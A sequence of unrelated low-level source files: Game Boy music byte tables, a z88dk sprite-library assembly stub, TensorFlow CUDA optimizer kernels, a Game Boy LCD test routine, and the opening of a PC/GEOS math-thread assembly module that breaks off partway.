DB $9b,$18, $00, $00, $00 DB $98,$18, $93,$3f, $00, $00 DB $9f,$18, $42,$03, $00, $00 DB $a4,$18, $91,$3f, $96,$12, $00 DB $a2,$18, $42,$03, $00, $00 DB $9f,$18, $91,$3f, $00, $00 DB $9b,$18, $42,$03, $00, $00 DB $9f,$18, $00, $00, $00 DB $9b,$18, $00, $00, $00 DB $98,$18, $00, $00, $00 DB $96,$18, $00, $00, $00 DB $98,$18, $00, $00, $00 DB $9b,$18, $00, $00, $00 DB $9d,$18, $00, $00, $00 DB $9b,$18, $00, $00, $00 DB $9f,$18, $00, $00, $00 DB $9b,$18, $00, $00, $00 DB $98,$18, $91,$3f, $00, $00 DB $9f,$18, $42,$03, $00, $00 DB $a4,$18, $8f,$3f, $94,$12, $00 DB $a2,$18, $42,$03, $00, $00 DB $9f,$18, $00, $00, $00 DB $9b,$18, $00, $00, $00 DB $9f,$18, $8c,$3f, $00, $00 DB $9b,$18, $42,$03, $00, $00 DB $98,$18, $8e,$3f, $00, $00 DB $96,$18, $42,$03, $00, $00 DB $98,$18, $8f,$3f, $00, $00 DB $9b,$18, $42,$03, $00, $00 DB $9d,$18, $00, $00, $00 DB $9b,$18, $00, $00, $00 DB $9f,$18, $94,$3f, $00, $00 DB $9b,$18, $42,$03, $00, $00 DB $98,$18, $00, $00, $00 DB $9f,$18, $00, $00, $00 DB $a4,$18, $93,$3f, $93,$12, $00 DB $a2,$18, $42,$03, $00, $00 DB $9f,$18, $00, $00, $00 DB $9b,$18, $00, $00, $00 DB $9f,$18, $00, $00, $00 DB $9b,$18, $00, $00, $00 DB $98,$18, $00, $00, $00 DB $96,$18, $00, $00, $00 DB $98,$18, $00, $00, $00 DB $9b,$18, $00, $00, $00 DB $9d,$18, $00, $00, $00 DB $9b,$18, $00, $00, $00 DB $9f,$18, $00, $00, $00 DB $9b,$18, $00, $00, $00 DB $98,$18, $93,$3f, $00, $00 DB $9f,$18, $42,$03, $00, $00 Start_Song3: DB $9f,$18, $98,$3f, $8c,$12, $4a,$25 DB $00, $00, $00, $00 DB $00, $00, $00, $00 DB $00, $00, $00, $00 DB $a6,$18, $96,$3f, $00, $4a,$06 DB $00, $00, $00, $00 DB $a4,$18, $98,$3f, $00, $00 DB $00, $00, $00, $00 DB $a2,$18, $9a,$3f, $00, $00 DB $00, $00, $00, $00 DB $00, $00, $00, $00 DB $00, $00, $00, $00 DB $9d,$18, $96,$3f, $91,$12, $00 DB $00, $00, $00, $00 DB $00, $00, $00, $00 DB $00, $00, $00, $00 DB $9f,$18, $93,$3f, $8c,$12, $4a,$25 DB $00, $00, $00, $00 DB $00, $00, $00, $00 DB $00, $00, $00, $00 DB $a6,$18, $96,$3f, $00, $4a,$06 DB $00, $00, $00, $00 DB $a4,$18, $98,$3f, $00, $00 DB $00, $00, $00, $00 DB $a2,$18, $9a,$3f, $00, $00 DB $00, $00, $00, $00 DB $00, $00, $00, $00 DB $00, $00, $00, $00 DB $a2,$1f, $96,$3f, $00, $00 DB $00, $00, $00, $00 DB $00, $00, $00, $00 DB $00, $00, $00, $00 DB $a9,$1f, $91,$3f, $96,$12, $4a,$25 DB $00, $00, $00, $00 DB $00, $00, $00, $00 DB $00, $00, $00, $00 DB $ab,$18, $9f,$3f, $93,$12, $4a,$06 DB $00, $00, $00, $00 DB $a9,$18, $9d,$3f, $00, $00 DB $00, $00, $00, $00 DB $a7,$18, $9b,$3f, $00, $00 DB $00, $00, $00, $00 DB $00, $00, $00, $00 DB $00, $00, $00, $00 DB $a6,$1f, $9d,$3f, $00, $00 DB $00, $00, $00, $00 DB $00, $00, $00, $00 DB $00, $00, $00, $00 DB $a4,$1f, $9f,$3f, $98,$12, $4a,$13 DB $00, $00, $00, $00 DB $00, $00, $00, $00 DB $00, $00, $00, $00 DB $00, $00, $00, $00 DB $00, $00, $00, $00 DB $00, $00, $00, $00 DB $00, $00, $00, $00 DB $00, $00, $00, $4a,$06 DB $00, $00, $00, $00 DB $00, $00, $00, $00 DB $00, $00, $00, $00 DB $9a,$1f, $9f,$3f, $20, $00 DB $00, $00, $00, $00 DB $00, $00, $00, $00 DB $00, $00, $00, $00 Start_Song4: DB $9f,$18, $a4,$3f, $98,$12, $4a,$25 DB $00, $00, $00, $00 DB $00, $00, $00, $00 DB $00, $00, $00, $00 DB $a6,$18, $96,$3f, $00, $4a,$06 DB $00, $00, $00, $00 DB $a4,$18, $98,$3f, $00, $00 DB $00, $00, $00, $00 DB $a2,$18, $9a,$3f, $00, $00 DB $00, $00, $00, $00 DB $00, $00, $00, $00 DB $00, $00, $00, $00 DB $9d,$18, $a2,$3f, $9a,$12, $00 DB $00, $00, $00, $00 DB $00, $00, $00, $00 DB $00, $00, $00, $00 DB $9f,$18, $a4,$3f, $98,$12, $4a,$25 DB $00, $00, $00, $00 DB $00, $00, $00, $00 DB $00, $00, $00, $00 DB $a6,$18, $96,$3f, $00, $4a,$06 DB $00, $00, $00, $00 DB $a4,$18, $98,$3f, $00, $00 DB $00, $00, $00, $00 DB $a2,$18, $9a,$3f, $00, $00 DB $00, $00, $00, $00 DB $00, $00, $00, $00 DB $00, $00, $00, $00 DB $a2,$1f, $96,$3f, $00, $00 DB $00, $00, $00, $00 DB $00, $00, $00, $00 DB $00, $00, $00, $00 DB $a9,$1f, $91,$3f, $96,$12, $4a,$25 DB $00, $00, $00, $00 DB $00, $00, $00, $00 DB $00, $00, $00, $00 DB $a7,$1f, $8f,$38, $8c,$12, $4a,$06 DB $00, $00, $00, $00 DB $a6,$1f, $8e,$38, $00, $00 DB $00, $00, $00, $00 DB $a4,$1f, $8c,$38, $00, $00 DB $00, $00, $00, $00 DB $a7,$1f, $00, $00, $00 DB $00, $00, $00, $00 DB $a4,$1f, $93,$38, $00, $00 DB $00, $00, $00, $00 DB $a2,$1f, $91,$38, $00, $00 DB $00, $00, $00, $00 DB $a4,$1f, $93,$38, $00, $00 DB $00, $00, $00, $00 DB $00, $00, $00, $00 DB $00, $00, $00, $00 DB $00, $00, $00, $00 DB $00, $00, $00, $00 DB $00, $00, $00, $00 DB $00, $00, $00, $00 DB $00, $00, $00, $00 DB $00, $00, $00, $00 DB $00, $00, $00, $00 DB $00, $00, $00, $00 DB $00, $00, $00, $00 DB $00, $00, $00, $00 DB $00, $00, $00, $00 DB $00, $00, $42,$01, $00 Start_Song5: DB $a4,$18, $20, $8c,$12, $4a,$06 DB $a2,$18, $00, $00, $00 DB $9f,$18, $00, $00, $00 DB $9b,$18, $00, $00, $00 DB $9f,$18, $00, $00, $00 DB $9b,$18, $00, $00, $00 DB $98,$18, $00, $00, $00 DB $96,$18, $00, $00, $00 DB $98,$18, $00, $00, $00 DB $9b,$18, $00, $00, $00 DB $9d,$18, $00, $00, $00 DB $9b,$18, $00, $00, $00 DB $9f,$18, $00, $00, $00 DB $9b,$18, $00, $00, $00 DB $98,$18, $00, $00, $00 DB $9f,$18, $00, $00, $00 DB $a4,$18, $00, $98,$12, $00 DB $a2,$18, $00, $00, $00 DB $9f,$18, $00, $00, $00 DB $9b,$18, $00, $00, $00 DB $9f,$18, $00, $00, $00 DB $9b,$18, $00, $00, $00 DB $98,$18, $00, $00, $00 DB $96,$18, $00, $00, $00 DB $98,$18, $00, $94,$12, $00 DB $9b,$18, $00, $00, $00 DB $9d,$18, $00, $00, $00 DB $9b,$18, $00, $00, $00 DB $9f,$18, $00, $00, $00 DB $9b,$18, $00, $00, $00 DB $98,$18, $00, $00, $00 DB $9f,$18, $00, $00, $00 DB $a4,$18, $00, $96,$12, $00 DB $a2,$18, $00, $00, $00 DB $9f,$18, $00, $00, $00 DB $9b,$18, $00, $00, $00 DB $9f,$18, $00, $00, $00 DB $9b,$18, $00, $00, $00 DB $98,$18, $00, $00, $00 DB $96,$18, $00, $00, $00 DB $98,$18, $00, $00, $00 DB $9b,$18, $00, $00, $00 DB $9d,$18, $00, $00, $00 DB $9b,$18, $00, $00, $00 DB $9f,$18, $00, $00, $00 DB $9b,$18, $00, $00, $00 DB $98,$18, $00, $00, $00 DB $9f,$18, $00, $00, $00 DB $a4,$18, $00, $93,$12, $00 DB $a2,$18, $00, $00, $00 DB $9f,$18, $00, $00, $00 DB $9b,$18, $00, $00, $00 DB $9f,$18, $00, $00, $00 DB $9b,$18, $00, $00, $00 DB $98,$18, $00, $00, $00 DB $96,$18, $00, $00, $00 DB $98,$18, $00, $00, $00 DB $9b,$18, $00, $00, $00 DB $9d,$18, $00, $00, $00 DB $9b,$18, $00, $00, $00 DB $9f,$18, $00, $00, $00 DB $9b,$18, $00, $00, $00 DB $98,$18, $00, $00, $00 DB $9f,$18, $00, $00, $00 Start_Song6: DB $a4,$18, $a4,$3f, $8c,$12, $4a,$06 DB $a2,$18, $00, $00, $00 DB $9f,$18, $00, $00, $00 DB $9b,$18, $00, $00, $00 DB $9f,$18, $00, $00, $00 DB $9b,$18, $00, $00, $00 DB $98,$18, $00, $00, $00 DB $96,$18, $00, $00, $00 DB $98,$18, $00, $00, $00 DB $9b,$18, $00, $00, $00 DB $9d,$18, $00, $00, $00 DB $9b,$18, $00, $00, $00 DB $9f,$18, $00, $00, $00 DB $9b,$18, $00, $00, $00 DB $98,$18, $00, $00, $00 DB $9f,$18, $00, $00, $00 DB $a4,$18, $ab,$3f, $98,$12, $00 DB $a2,$18, $00, $00, $00 DB $9f,$18, $00, $00, $00 DB $9b,$18, $00, $00, $00 DB $9f,$18, $00, $00, $00 DB $9b,$18, $00, $00, $00 DB $98,$18, $00, $00, $00 DB $96,$18, $00, $00, $00 DB $98,$18, $a7,$3f, $94,$12, $00 DB $9b,$18, $00, $00, $00 DB $9d,$18, $00, $00, $00 DB $9b,$18, $00, $00, $00 DB $9f,$18, $00, $00, $00 DB $9b,$18, $00, $00, $00 DB $98,$18, $00, $00, $00 DB $9f,$18, $00, $00, $00 DB $a4,$18, $a9,$3f, $96,$12, $00 DB $a2,$18, $00, $00, $00 DB $9f,$18, $00, $00, $00 DB $9b,$18, $00, $00, $00 DB $9f,$18, $00, $00, $00 DB $9b,$18, $00, $00, $00 DB $98,$18, $00, $00, $00 DB $96,$18, $00, $00, $00 DB $98,$18, $00, $00, $00 DB $9b,$18, $00, $00, $00 DB $9d,$18, $00, $00, $00 DB $9b,$18, $00, $00, $00 DB $9f,$18, $00, $00, $00 DB $9b,$18, $00, $00, $00 DB $98,$18, $00, $00, $00 DB $9f,$18, $00, $00, $00 DB $a4,$18, $a6,$3f, $93,$12, $00 DB $a2,$18, $00, $00, $00 DB $9f,$18, $00, $00, $00 DB $9b,$18, $00, $00, $00 DB $9f,$18, $00, $00, $00 DB $9b,$18, $00, $00, $00 DB $98,$18, $00, $00, $00 DB $96,$18, $00, $00, $00 DB $98,$18, $00, $00, $00 DB $9b,$18, $00, $00, $00 DB $9d,$18, $00, $00, $00 DB $9b,$18, $00, $00, $00 DB $9f,$18, $00, $00, $00 DB $9b,$18, $00, $00, $00 DB $98,$18, $00, $00, $00 DB $9f,$18, $00, $00, $00 Start_Song7: DB $a4,$18, $a4,$3f, $8c,$12, $4a,$06 DB $a2,$18, $00, $00, $00 DB $9f,$18, $00, $00, $00 DB $9b,$18, $00, $00, $00 DB $9f,$18, $00, $00, $00 DB $9b,$18, $00, $00, $00 DB $98,$18, $00, $00, $00 DB $96,$18, $00, $00, $00 DB $98,$18, $00, $00, $00 DB $9b,$18, $00, $00, $00 DB $9d,$18, $00, $00, $00 DB $9b,$18, $00, $00, $00 DB $9f,$18, $00, $00, $00 DB $9b,$18, $00, $00, $00 DB $98,$18, $00, $00, $00 DB $9f,$18, $00, $00, $00 DB $a4,$18, $ab,$3f, $98,$12, $00 DB $a2,$18, $00, $00, $00 DB $9f,$18, $00, $00, $00 DB $9b,$18, $00, $00, $00 DB $9f,$18, $00, $00, $00 DB $9b,$18, $00, $00, $00 DB $98,$18, $00, $00, $00 DB $96,$18, $00, $00, $00 DB $98,$18, $a7,$3f, $94,$12, $00 DB $9b,$18, $00, $00, $00 DB $9d,$18, $00, $00, $00 DB $9b,$18, $00, $00, $00 DB $9f,$18, $00, $00, $00 DB $9b,$18, $00, $00, $00 DB $98,$18, $00, $00, $00 DB $9f,$18, $00, $00, $00 DB $a4,$18, $a9,$3f, $96,$12, $00 DB $a2,$18, $00, $00, $00 DB $9f,$18, $00, $00, $00 DB $9b,$18, $00, $00, $00 DB $9f,$18, $00, $00, $00 DB $9b,$18, $00, $00, $00 DB $98,$18, $00, $00, $00 DB $96,$18, $00, $00, $00 DB $98,$18, $00, $00, $00 DB $9b,$18, $00, $00, $00 DB $9d,$18, $00, $00, $00 DB $9b,$18, $00, $00, $00 DB $9f,$18, $00, $00, $00 DB $9b,$18, $00, $00, $00 DB $98,$18, $00, $00, $00 DB $9f,$18, $00, $00, $00 DB $a4,$18, $ab,$3f, $93,$12, $00 DB $a2,$18, $00, $00, $00 DB $9f,$18, $00, $00, $00 DB $9b,$18, $00, $00, $00 DB $9f,$18, $00, $00, $00 DB $9b,$18, $00, $00, $00 DB $98,$18, $00, $00, $00 DB $96,$18, $00, $00, $00 DB $98,$18, $00, $00, $00 DB $9b,$18, $00, $00, $00 DB $9d,$18, $00, $00, $00 DB $9b,$18, $00, $00, $00 DB $9f,$18, $00, $00, $00 DB $9b,$18, $00, $00, $00 DB $98,$18, $ab,$3f, $9f,$12, $00 DB $9f,$18, $00, $00, $00 Start_Song8: DB $a4,$18, $b0,$3f, $a4,$12, $00 DB $a2,$18, $00, $00, $00 DB $9f,$18, $00, $00, $00 DB $9b,$18, $00, $00, $00 DB $9f,$18, $00, $00, $00 DB $9b,$18, $00, $00, $00 DB $98,$18, $00, $00, $00 DB $96,$18, $00, $00, $00 DB $98,$18, $00, $00, $00 DB $9b,$18, $00, $00, $00 DB $9d,$18, $00, $00, $00 DB $9b,$18, $00, $00, $00 DB $9f,$18, $00, $00, $00 DB $9b,$18, $00, $00, $00 DB $98,$18, $00, $00, $00 DB $9f,$18, $00, $00, $00 DB $a4,$18, $00, $00, $00 DB $a2,$18, $00, $00, $00 DB $9f,$18, $00, $00, $00 DB $9b,$18, $00, $00, $00 DB $9f,$18, $00, $00, $00 DB $9b,$18, $00, $00, $00 DB $98,$18, $00, $00, $00 DB $96,$18, $00, $00, $00 DB $98,$18, $b2,$3f, $a6,$12, $00 DB $9b,$18, $00, $00, $00 DB $9d,$18, $00, $00, $00 DB $9b,$18, $00, $00, $00 DB $9f,$18, $b0,$3f, $a4,$12, $00 DB $9b,$18, $00, $00, $00 DB $98,$18, $ae,$3f, $a2,$12, $00 DB $9f,$18, $00, $00, $00 DB $a4,$18, $ab,$3f, $9f,$12, $00 DB $a2,$18, $00, $00, $00 DB $9f,$18, $00, $00, $00 DB $9b,$18, $00, $00, $00 DB $9f,$18, $00, $00, $00 DB $9b,$18, $00, $00, $00 DB $98,$18, $00, $00, $00 DB $96,$18, $00, $00, $00 DB $98,$18, $00, $00, $00 DB $9b,$18, $00, $00, $00 DB $9d,$18, $00, $00, $00 DB $9b,$18, $00, $00, $00 DB $9f,$18, $00, $00, $00 DB $9b,$18, $00, $00, $00 DB $98,$18, $00, $00, $00 DB $9f,$18, $00, $00, $00 DB $a4,$18, $00, $00, $00 DB $a2,$18, $00, $00, $00 DB $9f,$18, $00, $00, $00 DB $9b,$18, $00, $00, $00 DB $9f,$18, $00, $00, $00 DB $9b,$18, $00, $00, $00 DB $98,$18, $00, $00, $00 DB $96,$18, $00, $00, $00 DB $98,$18, $b2,$3f, $a6,$12, $00 DB $9b,$18, $00, $00, $00 DB $9d,$18, $00, $00, $00 DB $9b,$18, $00, $00, $00 DB $9f,$18, $b0,$3f, $a4,$12, $00 DB $9b,$18, $00, $00, $00 DB $98,$18, $ae,$3f, $a2,$12, $00 DB $9f,$18, $00, $00, $00 Start_Song9: DB $a4,$18, $a9,$3f, $9d,$12, $00 DB $a2,$18, $00, $00, $00 DB $9f,$18, $00, $00, $00 DB $9b,$18, $00, $00, $00 DB $9f,$18, $00, $00, $00 DB $9b,$18, $00, $00, $00 DB $98,$18, $00, $00, $00 DB $96,$18, $00, $00, $00 DB $98,$18, $00, $00, $00 DB $9b,$18, $00, $00, $00 DB $9d,$18, $00, $00, $00 DB $9b,$18, $00, $00, $00 DB $9f,$18, $00, $00, $00 DB $9b,$18, $00, $00, $00 DB $98,$18, $00, $00, $00 DB $9f,$18, $00, $00, $00 DB $a4,$18, $00, $00, $00 DB $a2,$18, $00, $00, $00 DB $9f,$18, $00, $00, $00 DB $9b,$18, $00, $00, $00 DB $9f,$18, $a7,$3f, $98,$12, $00 DB $9b,$18, $00, $00, $00 DB $98,$18, $a9,$3f, $9a,$12, $00 DB $96,$18, $00, $00, $00 DB $98,$18, $ab,$3f, $9b,$12, $00 DB $9b,$18, $00, $00, $00 DB $9d,$18, $00, $00, $00 DB $9b,$18, $00, $00, $00 DB $9f,$18, $a7,$3f, $96,$12, $00 DB $9b,$18, $00, $00, $00 DB $98,$18, $00, $00, $00 DB $9f,$18, $00, $00, $00 DB $a4,$18, $a4,$3f, $98,$12, $00 DB $a2,$18, $00, $00, $00 DB $9f,$18, $a6,$3f, $9a,$12, $00 DB $9b,$18, $00, $00, $00 DB $9f,$18, $a4,$3f, $98,$12, $00 DB $9b,$18, $00, $00, $00 DB $98,$18, $a2,$3f, $96,$12, $00 DB $96,$18, $00, $00, $00 DB $98,$18, $a4,$3f, $98,$12, $00 DB $9b,$18, $00, $00, $00 DB $9d,$18, $00, $00, $00 DB $9b,$18, $00, $00, $00 DB $9f,$18, $00, $00, $00 DB $9b,$18, $00, $00, $00 DB $98,$18, $00, $00, $00 DB $9f,$18, $00, $00, $00 DB $a4,$18, $00, $00, $00 DB $a2,$18, $00, $00, $00 DB $9f,$18, $00, $00, $00 DB $9b,$18, $00, $00, $00 DB $9f,$18, $00, $00, $00 DB $9b,$18, $00, $00, $00 DB $98,$18, $00, $00, $00 DB $96,$18, $00, $00, $00 DB $98,$18, $00, $00, $00 DB $9b,$18, $00, $00, $00 DB $9d,$18, $00, $00, $00 DB $9b,$18, $00, $00, $00 DB $9f,$18, $00, $00, $00 DB $9b,$18, $00, $00, $00 DB $98,$18, $ab,$3f, $9f,$12, $00 DB $9f,$18, $00, $00, $00 Start_Song10: DB $a4,$18, $b5,$3f, $a9,$12, $00 DB $a2,$18, $00, $00, $00 DB $9f,$18, $00, $00, $00 DB $9b,$18, $00, $00, $00 DB $9f,$18, $00, $00, $00 DB $9b,$18, $00, $00, $00 DB $98,$18, $00, $00, $00 DB $96,$18, $00, $00, $00 DB $98,$18, $00, $00, $00 DB $9b,$18, $00, $00, $00 DB $9d,$18, $00, $00, $00 DB $9b,$18, $00, $00, $00 DB $9f,$18, $00, $00, $00 DB $9b,$18, $00, $00, $00 DB $98,$18, $00, $00, $00 DB $9f,$18, $00, $00, $00 DB $a4,$18, $00, $00, $00 DB $a2,$18, $00, $00, $00 DB $9f,$18, $00, $00, $00 DB $9b,$18, $00, $00, $00 DB $9f,$18, $00, $00, $00 DB $9b,$18, $00, $00, $00 DB $98,$18, $ae,$3f, $a2,$1b, $00 DB $96,$18, $00, $00, $00 DB $98,$18, $b7,$3f, $ab,$1b, $00 DB $9b,$18, $00, $00, $00 DB $9d,$18, $00, $00, $00 DB $9b,$18, $00, $00, $00 DB $9f,$18, $b5,$3f, $a9,$1b, $00 DB $9b,$18, $00, $00, $00 DB $98,$18, $b3,$3f, $a7,$1b, $00 DB $9f,$18, $00, $00, $00 DB $a4,$18, $b0,$3f, $a4,$1b, $00 DB $a2,$18, $00, $00, $00 DB $9f,$18, $00, $00, $00 DB $9b,$18, $00, $00, $00 DB $9f,$18, $00, $00, $00 DB $9b,$18, $00, $00, $00 DB $98,$18, $00, $00, $00 DB $96,$18, $00, $00, $00 DB $98,$18, $00, $00, $00 DB $9b,$18, $00, $00, $00 DB $9d,$18, $00, $00, $00 DB $9b,$18, $00, $00, $00 DB $9f,$18, $00, $00, $00 DB $9b,$18, $00, $00, $00 DB $98,$18, $00, $00, $00 DB $9f,$18, $00, $00, $00 DB $a4,$18, $00, $00, $00 DB $a2,$18, $00, $00, $00 DB $9f,$18, $00, $00, $00 DB $9b,$18, $00, $00, $00 DB $9f,$18, $00, $00, $00 DB $9b,$18, $00, $00, $00 DB $98,$18, $00, $00, $00 DB $96,$18, $00, $00, $00 DB $98,$18, $00, $00, $00 DB $9b,$18, $00, $00, $00 DB $9d,$18, $00, $00, $00 DB $9b,$18, $00, $00, $00 DB $9f,$18, $00, $00, $00 DB $9b,$18, $00, $00, $00 DB $98,$18, $00, $00, $00 DB $9f,$18, $00, $00, $00 Start_Song_Data:: DW Start_Song0 DW Start_Song0 DW Start_Song1 DW Start_Song2 DW Start_Song3 DW Start_Song4 DW Start_Song5 DW Start_Song6 DW Start_Song7 DW Start_Song8 DW Start_Song9 DW Start_Song8 DW Start_Song10 DW $0000
; void *sp1_PreShiftSpr(uchar flag, uchar height, uchar width, void *srcframe, void *destframe, uchar rshift) SECTION code_clib SECTION code_temp_sp1 PUBLIC _sp1_PreShiftSpr EXTERN l0_sp1_PreShiftSpr_callee _sp1_PreShiftSpr: ld hl,12 add hl,sp ld a,(hl) dec hl ld d,(hl) dec hl ld e,(hl) dec hl push de pop ix ld d,(hl) dec hl ld e,(hl) dec hl dec hl ld b,(hl) dec hl dec hl ld c,(hl) dec hl dec hl ld h,(hl) ld l,c jp l0_sp1_PreShiftSpr_callee
/* Copyright 2015 Google Inc. All Rights Reserved. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. ==============================================================================*/ #if GOOGLE_CUDA #define EIGEN_USE_GPU #include "tensorflow/core/framework/register_types.h" #include "tensorflow/core/kernels/training_ops.h" namespace tensorflow { typedef Eigen::GpuDevice GPUDevice; namespace functor { template <typename T> struct ApplyGradientDescent<GPUDevice, T> { void operator()(const GPUDevice& d, typename TTypes<T>::Flat var, typename TTypes<T>::ConstScalar alpha, typename TTypes<T>::ConstFlat delta) { Eigen::array<typename TTypes<T>::Tensor::Index, 1> bcast; bcast[0] = delta.dimension(0); Eigen::Sizes<1> single; var.device(d) -= alpha.reshape(single).broadcast(bcast) * delta; } }; template <typename T> struct ApplyAdagrad<GPUDevice, T> { void operator()(const GPUDevice& d, typename TTypes<T>::Flat var, typename TTypes<T>::Flat accum, typename TTypes<T>::ConstScalar lr, typename TTypes<T>::ConstFlat grad) { accum.device(d) += grad.square(); Eigen::array<typename TTypes<T>::Tensor::Index, 1> bcast; bcast[0] = grad.dimension(0); Eigen::Sizes<1> single; var.device(d) -= lr.reshape(single).broadcast(bcast) * grad * accum.rsqrt(); } }; template <typename T> struct ApplyMomentum<GPUDevice, T> { void operator()(const GPUDevice& d, typename TTypes<T>::Flat var, typename TTypes<T>::Flat accum, typename TTypes<T>::ConstScalar lr, typename TTypes<T>::ConstFlat grad, typename TTypes<T>::ConstScalar momentum) { Eigen::array<typename TTypes<T>::Tensor::Index, 1> bcast; bcast[0] = grad.dimension(0); Eigen::Sizes<1> single; accum.device(d) = accum * momentum.reshape(single).broadcast(bcast) + grad; var.device(d) -= lr.reshape(single).broadcast(bcast) * accum; } }; template <typename T> struct ApplyAdam<GPUDevice, T> { void operator()(const GPUDevice& d, typename TTypes<T>::Flat var, typename TTypes<T>::Flat m, typename TTypes<T>::Flat v, typename TTypes<T>::ConstScalar beta1_power, typename TTypes<T>::ConstScalar beta2_power, typename TTypes<T>::ConstScalar lr, typename TTypes<T>::ConstScalar beta1, typename TTypes<T>::ConstScalar beta2, typename TTypes<T>::ConstScalar epsilon, typename TTypes<T>::ConstFlat grad) { Eigen::array<typename TTypes<T>::Tensor::Index, 1> bcast; bcast[0] = grad.dimension(0); Eigen::Sizes<1> single; const auto one = static_cast<T>(1.0); m.device(d) = m + (beta1.constant(one) - beta1).reshape(single).broadcast(bcast) * (grad - m); v.device(d) = v + (beta2.constant(one) - beta2).reshape(single).broadcast(bcast) * (grad.square() - v); var.device(d) -= (lr * (beta2_power.constant(one) - beta2_power).sqrt() / (beta1_power.constant(one) - beta1_power)) .reshape(single) .broadcast(bcast) * m / (epsilon.reshape(single).broadcast(bcast) + v.sqrt()); } }; template <typename T> struct ApplyRMSProp<GPUDevice, T> { void operator()(const GPUDevice& d, typename TTypes<T>::Flat var, typename TTypes<T>::Flat ms, typename TTypes<T>::Flat mom, typename TTypes<T>::ConstScalar lr, typename TTypes<T>::ConstScalar rho, typename TTypes<T>::ConstScalar momentum, typename TTypes<T>::ConstScalar epsilon, typename TTypes<T>::ConstFlat grad) { Eigen::array<typename TTypes<T>::Tensor::Index, 1> bcast; bcast[0] = grad.dimension(0); Eigen::Sizes<1> single; const auto one = static_cast<T>(1.0); ms.device(d) = ms + (rho.constant(one) - rho).reshape(single).broadcast(bcast) * (grad.square() - ms); mom.device(d) = mom * momentum.reshape(single).broadcast(bcast) + lr.reshape(single).broadcast(bcast) * grad / ((epsilon.reshape(single).broadcast(bcast) + ms).sqrt()); var.device(d) -= mom; } }; } // namespace functor template struct functor::ApplyGradientDescent<GPUDevice, float>; template struct functor::ApplyGradientDescent<GPUDevice, double>; template struct functor::ApplyAdagrad<GPUDevice, float>; template struct functor::ApplyAdagrad<GPUDevice, double>; template struct functor::ApplyMomentum<GPUDevice, float>; template struct functor::ApplyMomentum<GPUDevice, double>; template struct functor::ApplyAdam<GPUDevice, float>; template struct functor::ApplyAdam<GPUDevice, double>; template struct functor::ApplyRMSProp<GPUDevice, float>; template struct functor::ApplyRMSProp<GPUDevice, double>; } // end namespace tensorflow #endif // GOOGLE_CUDA
.size 8000 .text@48 ei jp lstatint .text@100 jp lbegin .data@143 80 .text@150 lbegin: ld c, 44 ld b, 90 lbegin_waitvblank: ldff a, (c) cmp a, b jrnz lbegin_waitvblank xor a, a ldff(40), a ld hl, 9f00 ld b, 20 lbegin_clearvram: dec l ld(hl), a jrnz lbegin_clearvram dec h dec b jrnz lbegin_clearvram ld hl, 8000 ld a, ff ld(hl++), a ld(hl++), a ld(hl++), a ld(hl++), a ld(hl++), a ld(hl++), a ld(hl++), a ld(hl++), a ld(hl++), a ld(hl++), a ld(hl++), a ld(hl++), a ld(hl++), a ld(hl++), a ld(hl++), a ld(hl++), a ld(hl++), a ld(hl++), a ld a, e4 ldff(47), a ld a, ff ldff(48), a ld a, 80 ldff(68), a ld a, ff ld c, 69 ldff(c), a ldff(c), a ld a, aa ldff(c), a ldff(c), a ld a, 55 ldff(c), a ldff(c), a xor a, a ldff(c), a ldff(c), a ld a, 80 ldff(6a), a ld a, 00 ld c, 6b ldff(c), a ldff(c), a ldff(c), a ldff(c), a ldff(c), a ldff(c), a ldff(c), a ldff(c), a ld hl, fea0 xor a, a lbegin_fill_oam: dec l ld(hl), a jrnz lbegin_fill_oam ld a, 10 ld(hl), a inc l ld a, 0b ld(hl), a ld a, 87 ldff(40), a ld c, 41 ld b, 03 lbegin_waitm3: ldff a, (c) and a, b cmp a, b jrnz lbegin_waitm3 ld a, 20 ldff(c), a ld a, 02 ldff(ff), a xor a, a ldff(0f), a ei .text@1000 lstatint: nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop ld a, 97 ldff(40), a pop hl .text@1028 ld a, 87 ldff(40), a
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Copyright (c) GeoWorks 1991 -- All Rights Reserved PROJECT: PC GEOS MODULE: FILE: mainThread.asm AUTHOR: jimmy lefkowitz ROUTINES: Name Description ---- ----------- MathThreadListCompact fill in hole in list with last element MathThreadListAppend add an element MathThreadListFindThread find an element MathThreadDelete delete an element MathThreadListUpdateDepth change dpeth value in an entry FloatHardwareEnter check for context switches and overflow FloatHardwareLeave check for underflow FloatGetStackDepth returns the stack depth FloatGetSoftwareStackHandle returns current software stack handle FloatHardwareInit init a thread's float stack FloatHardwareExit free a thread's float stack REVISION HISTORY: Name Date Description ---- ---- ----------- jimmy 4/27/92 Initial version. DESCRIPTION: Code involving thread stuff $Id: mainThread.asm,v 1.1 97/04/05 01:22:52 newdeal Exp $ %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ MATH_THREAD_LIST_INIT_SIZE = 5 MathFixedCode segment resource COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% FloatHardwareEnter %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: do a context switch on the coprocessor if neccesary also swap stuff out to the software stack if needed CALLED BY: GLOBAL PASS: ax = expected changed in stack depth this argument tells up how much room on the hardware stack we need to do the computations, it it turns out that there is not enough space then we have to move some numbers down to the software stack extension so there is sufficient room on the hardware stack to work RETURN: carry set if any problems encountered DESTROYED: Nada. PSEUDOCODE/STRATEGY: KNOWN BUGS/SIDEFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- jimmy 4/27/92 Initial version. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ FloatHardwareEnter proc far myThread local hptr uses ax, bx, cx, dx, di, es .enter mov_tr di, ax ; save away ax NOFXIP< segmov es, dgroup, ax > FXIP < mov bx, handle dgroup > FXIP < call MemDerefES ;es = dgroup > mov bx, 